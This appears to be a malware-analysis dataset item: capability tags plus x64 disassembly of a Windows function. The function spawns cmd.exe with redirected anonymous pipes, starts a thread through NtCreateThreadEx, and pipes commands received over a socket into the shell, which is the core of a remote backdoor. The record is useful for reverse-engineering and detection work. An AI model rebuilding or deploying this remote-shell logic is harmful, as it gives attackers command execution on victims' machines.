Function at 0x140001320
Capabilities:
Create pipe
Create process on windows
Create two anonymous pipes
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
lea rbp, [rsp - 0x430]
sub rsp, 0x530
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
movdqa xmm0, xmmword [str.C:WindowsSyste]
lea r8, [rsp + 0x68]
xor esi, esi
mov dword [rbp + 0x20], 0x5c32336d
xor r9d, r9d
mov dword [rbp + 0x24], 0x2e646d63
lea rdx, [0x140005638]
mov dword [rbp + 0x28], 0x657865
lea rcx, [0x140005640]
mov dword [rsp + 0x68], 0x18
movdqu xmmword [rbp + 0x10], xmm0
mov qword [rsp + 0x70], rsi
mov dword [rsp + 0x78], 1
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r9d, r9d
lea r8, [rsp + 0x68]
lea rdx, [0x140005628]
lea rcx, [0x140005630]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor edx, edx
lea r8d, [rsi + 0x68]
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
mov rax, qword [0x140005628]
lea rcx, [rbp + 0x10]
mov qword [rbp], rax
xor r9d, r9d
mov qword [rbp - 8], rax
xor r8d, r8d
mov rax, qword [0x140005640]
xor edx, edx
mov qword [rbp - 0x10], rax
xor eax, eax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov dword [rbp - 0x60], 0x68
mov dword [rbp - 0x24], pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [0x1400032c8]
mov qword [rsp + 0x60], rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtCreateThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rsi
lea rcx, [0x140001240]
mov qword [rsp + 0x48], rsi
mov r9, rbx
mov qword [rsp + 0x40], rsi
xor r8d, r8d
mov qword [rsp + 0x38], rsi
mov edx, 0x1fffff
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x60]
call rax
cmp qword [rsp + 0x60], rsi
je 0x140001573
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005648]
lea rdx, [rbp + 0x30]
xor r9d, r9d
mov r8d, 0x3e8
call qword [sym.imp.WS2_32.dll_recv]
lea r8d, [rsi + 4]
movsxd rbx, eax
lea rdx, [0x140003310]
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
je 0x140001573
cmp rbx, 0xffffffffffffffff
je 0x140001573
mov rcx, qword [0x140005638]
lea rdx, [rbp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], rsi
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
lea rcx, [rbp + 0x30]
mov r8d, 0x3e8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x140005648]
lea rdx, [rbp + 0x30]
xor r9d, r9d
mov r8d, 0x3e8
call qword [sym.imp.WS2_32.dll_recv]
mov r8d, 4
lea rdx, [0x140003310]
lea rcx, [rbp + 0x30]
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001508
mov rcx, qword [rsp + 0x60]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp - 0x80]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140001620
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret